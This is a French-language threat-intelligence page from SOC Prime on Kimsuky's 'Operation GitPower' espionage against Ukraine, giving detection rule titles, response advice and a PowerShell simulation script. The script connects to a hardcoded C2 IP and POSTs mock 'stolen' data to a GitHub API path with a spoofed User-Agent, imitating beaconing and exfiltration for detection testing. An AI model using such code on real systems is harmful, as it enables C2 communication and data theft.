SOC Prime Bias: Critical

13 Oct 2026 15:39 UTC

Opération GitPower : Espionnage de Kimsuky contre l’Ukraine

Author Photo
SOC Prime Team linkedin icon Suivre
Opération GitPower : Espionnage de Kimsuky contre l’Ukraine
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Kimsuky mène actuellement des opérations d’espionnage numérique contre des experts ukrainiens en diplomatie, sécurité et politique internationale. Connue sous le nom d’Opération GitPower, la campagne repose sur l’hameçonnage ciblé par réponse et détourne des plateformes de développement légitimes telles que GitHub, GitLab et Codeberg pour livrer des logiciels malveillants. Les attaquants ont également commencé à utiliser des outils d’IA pour créer des documents leurres et automatiser les processus d’attaque.

Enquête

Les enquêteurs ont examiné plusieurs étapes de l’attaque, y compris des fichiers LNK malveillants déguisés en PDF et de faux installateurs Zoom. Ils ont retracé un flux d’exécution en plusieurs étapes dans lequel des scripts VBScript et PowerShell établissent la persistance via des tâches planifiées. Le groupe utilise des serveurs C2 codés en dur et l’API de GitHub pour effectuer l’exfiltration de données.

Atténuation

Les organisations devraient renforcer leurs capacités de détection EDR et de chasse aux menaces ciblant les abus de fichiers LNK, PowerShell et de services de développement cloud légitimes. Une surveillance stricte des tâches planifiées inhabituelles et des appels d’API non autorisés à GitHub et GitLab est recommandée. Les utilisateurs devraient être formés à reconnaître les tactiques de social engineering sophistiquées basées sur la réponse.

Réponse

Après détection, les intervenants devraient isoler les endpoints affectés pour stopper l’exfiltration de données via les canaux TCP C2 identifiés ou GitHub. Les analystes devraient rechercher les tâches planifiées non autorisées et vérifier le répertoire C:UsersPublic pour les fichiers VBS/PS1 malveillants. Il est essentiel de corréler les exécutions de LNK avec les connexions réseau ultérieures vers des services cloud légitimes.

Flux d’attaque

Nous mettons encore à jour cette partie.

Détections

Fichier LNK potentiellement malveillant avec double extension (via cmdline)

Équipe SOC Prime
13 oct. 2026

Exécution de fichier PowerShell dans un répertoire suspect en utilisant la politique d’exécution Bypass (via cmdline)

Équipe SOC Prime
13 oct. 2026

Schtasks pointe vers un répertoire / binaire / script suspect (via cmdline)

Équipe SOC Prime
13 oct. 2026

LOLBAS WScript / CScript (via process_creation)

Équipe SOC Prime
13 oct. 2026

Exécution suspecte à partir du profil utilisateur public (via process_creation)

Équipe SOC Prime
13 oct. 2026

Utilisation suspecte de CURL (via cmdline)

Équipe SOC Prime
13 oct. 2026

Utilisation suspecte de Invoke-RestMethod (via powershell)

Équipe SOC Prime
13 oct. 2026

Appel de méthodes .NET suspectes depuis PowerShell (via powershell)

Équipe SOC Prime
13 oct. 2026

Téléchargement de fichier GitHub potentiellement initié par un processus inhabituel (via network_connection)

Équipe SOC Prime
13 oct. 2026

Fichiers suspects dans le profil utilisateur public (via file_event)

Équipe SOC Prime
13 oct. 2026

IOC (HashMd5) à détecter : Opération GitPower de Kimsuky ciblant l’Ukraine Partie 4

Règles IA de SOC Prime
13 oct. 2026

IOC (HashMd5) à détecter : Opération GitPower de Kimsuky ciblant l’Ukraine Partie 3

Règles IA de SOC Prime
13 oct. 2026

IOC (HashMd5) à détecter : Opération GitPower de Kimsuky ciblant l’Ukraine Partie 2

Règles IA de SOC Prime
13 oct. 2026

IOC (HashMd5) à détecter : Opération GitPower de Kimsuky ciblant l’Ukraine Partie 1

Règles IA de SOC Prime
13 oct. 2026

IOC (SourceIP) à détecter : Opération GitPower de Kimsuky ciblant l’Ukraine

Règles IA de SOC Prime
13 oct. 2026

IOC (DestinationIP) à détecter : Opération GitPower de Kimsuky ciblant l’Ukraine

Règles IA de SOC Prime
13 oct. 2026

Détection de connexion TCP C2 et d’exfiltration basée sur GitHub lors de l’activité Kimsuky [Connexion réseau Windows]

Règles IA de SOC Prime
13 oct. 2026

Détecter la tâche planifiée GoogleUpdateTaskMachineUA pour l’exécution de script malveillant [Windows Sysmon]

Règles IA de SOC Prime
13 oct. 2026

Fichiers LNK utilisés pour exécuter des scripts PowerShell malveillants avec obfuscation et persistance [Création de processus Windows]

Règles IA de SOC Prime
13 oct. 2026

Exécution de simulation

  • Narratif & Commandes d’attaque : L’adversaire vise à établir une communication de Command and Control (C2) et à exfiltrer des données sensibles via GitHub. D’abord, l’attaquant établit une connexion TCP à l’IP C2 codée en dur 111.92.246.145 sur le port 12345 pour signaler sa disponibilité. Ensuite, pour éviter la détection par la surveillance traditionnelle du transfert de données, l’attaquant utilise une approche « vivant sur la terre » en téléchargeant un document volé dans un dépôt GitHub via l’API GitHub Contents, imitant spécifiquement l’User-Agent Kimsuky GitHub-API/1.0.

  • Script de test de régression :

    # Script de simulation pour la validation de détection Kimsuky
    
    Write-Host "[+] Démarrage de la simulation de Kimsuky..." -ForegroundColor Cyan
    
    # 1. Simuler la connexion C2 (TCP 111.92.246.145:12345)
    Write-Host "[+] Tentative de connexion C2 à 111.92.246.145:12345" -ForegroundColor Yellow
    try {
        $tcpClient = New-Object System.Net.Sockets.TcpClient
        $connection = $tcpClient.BeginConnect("111.92.246.145", 12345, $null, $null)
        # Nous utilisons un court délai pour que le script ne se bloque pas si l'IP est injoignable
        $success = $connection.AsyncWaitHandle.WaitOne(2000, $false)
        if (-not $success) { Write-Host "[!] Échec de la connexion (prévisible si l'IP est hors ligne), mais la télémétrie devrait toujours être enregistrée par Sysmon." -ForegroundColor Gray }
        $tcpClient.Close()
    } catch {
        Write-Host "[!] Erreur pendant la simulation C2 : $($_.Exception.Message)" -ForegroundColor Red
    }
    
    # 2. Simuler l'exfiltration GitHub (POST à l'API GitHub avec un User-Agent spécifique)
    Write-Host "[+] Tentative de simulation d'exfiltration API GitHub..." -ForegroundColor Yellow
    $githubUri = "https://github.com/repos/test-attacker/exfil-repo/contents/stolen_data.txt"
    $userAgent = "GitHub-API/1.0"
    $headers = @{
        "Authorization" = "token FAKE_TOKEN_FOR_TESTING"
        "Content-Type"  = "application/json"
    }
    $body = @{
        "message" = "Exfiltrating data"
        "content" = "SGVsbG8gV29ybGQ=" # Base64 pour "Hello World"
    } | ConvertTo-Json
    
    try {
        # En utilisant -UserAgent pour déclencher la logique de détection spécifique
        Invoke-RestMethod -Uri $githubUri -Method Post -Headers $headers -Body $body -UserAgent $userAgent
    } catch {
        Write-Host "[!] Requête HTTP terminée (404/401 attendu pour URL factice, mais l'User-Agent a été envoyé)." -ForegroundColor Gray
    }
    
    Write-Host "[+] Simulation complète." -ForegroundColor Cyan
  • Commandes de nettoyage :

    # Aucun artefact persistant n'a été créé par ce script de simulation.
    # Si des fichiers locaux ont été utilisés pour le contenu, ils devraient être supprimés :
    Remove-Item -Path ".stolen_data.txt" -ErrorAction SilentlyContinue
    Write-Host "[+] Nettoyage complet." -ForegroundColor Green